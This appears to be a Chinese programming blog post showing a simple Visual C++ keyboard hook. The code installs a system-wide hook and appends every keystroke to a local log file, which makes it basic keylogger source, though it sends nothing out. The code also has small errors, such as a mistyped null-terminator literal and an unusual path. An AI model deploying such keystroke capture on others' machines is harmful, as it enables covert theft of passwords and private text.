鍵盤HOOK的簡單實現(VC2003)

KeyProcHook.h文件代碼 #pragma once #include class KeyProcHook { public: KeyProcHook(void); ~KeyProcHook(void); bool InstallHOOK(HINSTANCE hinstance); bool UninstallHOOK(void); }; KeyProcHook.cpp文件代碼 #include "StdAfx.h" #include "./KeyProcHook.h" #pragma data_seg ("shared") HINSTANCE g_hInst; static HHOOK g_hHook = NULL; #pragma data_seg () LRESULT CALLBACK KeyboardProc(int iCode,WPARAM wParam,LPARAM lParam); KeyProcHook::KeyProcHook(void) { } KeyProcHook::~KeyProcHook(void) { } // bool KeyProcHook::InstallHOOK(HINSTANCE hinstance) { g_hInst = AfxGetInstanceHandle(); g_hHook=SetWindowsHookEx(WH_KEYBOARD,KeyboardProc,g_hInst,0); if (g_hHook) return TRUE; else return FALSE; } // bool KeyProcHook::UninstallHOOK(void) { if (UnhookWindowsHookEx(g_hHook)==0) return FALSE; else return TRUE; } // LRESULT CALLBACK KeyboardProc( int iCode, // hook code WPARAM wParam, // virtual-key code LPARAM lParam // keystroke-message information ) { int vKey = wParam; // Record the key for testing char ch = vKey; char str[10]="/0"; FILE *fp; fp=fopen("c://logfile.txt","a+"); fprintf(fp,"%C",ch); //fprintf(fp,"%s%c",str,ch); fclose(fp); return CallNextHookEx(g_hHook,iCode,wParam,lParam); }
發佈了6 篇原創文章 · 獲贊 0 · 訪問量 3萬+
發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章